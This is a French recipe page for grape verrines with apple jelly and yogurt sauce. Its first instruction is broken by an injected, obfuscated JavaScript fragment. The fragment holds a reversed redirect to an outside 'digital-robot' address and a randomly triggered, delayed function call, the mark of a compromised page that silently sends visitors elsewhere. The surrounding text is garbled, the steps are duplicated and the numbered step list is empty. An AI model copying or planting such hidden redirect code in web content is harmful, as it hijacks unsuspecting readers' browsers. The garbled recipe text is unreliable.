Verrines de raisins avec gelée de pommes et sauce au yaourt
2021-04-13- Cuisine : Verrine
- Thématique : Végétarien
- Niveau : Facile
Rincez, séchez les raisins. Préparez la gelée en versant le jus de pommes dans une casserole. Portez à ébullition. Hors du feu incorporez l’agar-agar, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant pendant 2 minutes.
Ingrédients
Rincez, séchez les raisins. Préparez la gelée en versant le jus de pommes dans une casserole. Portez à ébullition. Hors du feu incorporez l'agar-agar, tout en remuant pendant 2 minutes. Versez cette préparation dans des petites alvéoles en silicone. Laissez refroidir et placez dans le réfrigérateur pendant 1 heure.
Préparez la sauce au yaourt
Dans un bol versez le yaourt bulgare avec le jus de pommes, les pincées de gingembre en poudre
Fouettez énergiquement. Dressez les verrines. Versez une couche de sauce au yaourt. Déposez le contenu des petites alvéoles, couper en cubes, ainsi que les grains de raisins et dégustez
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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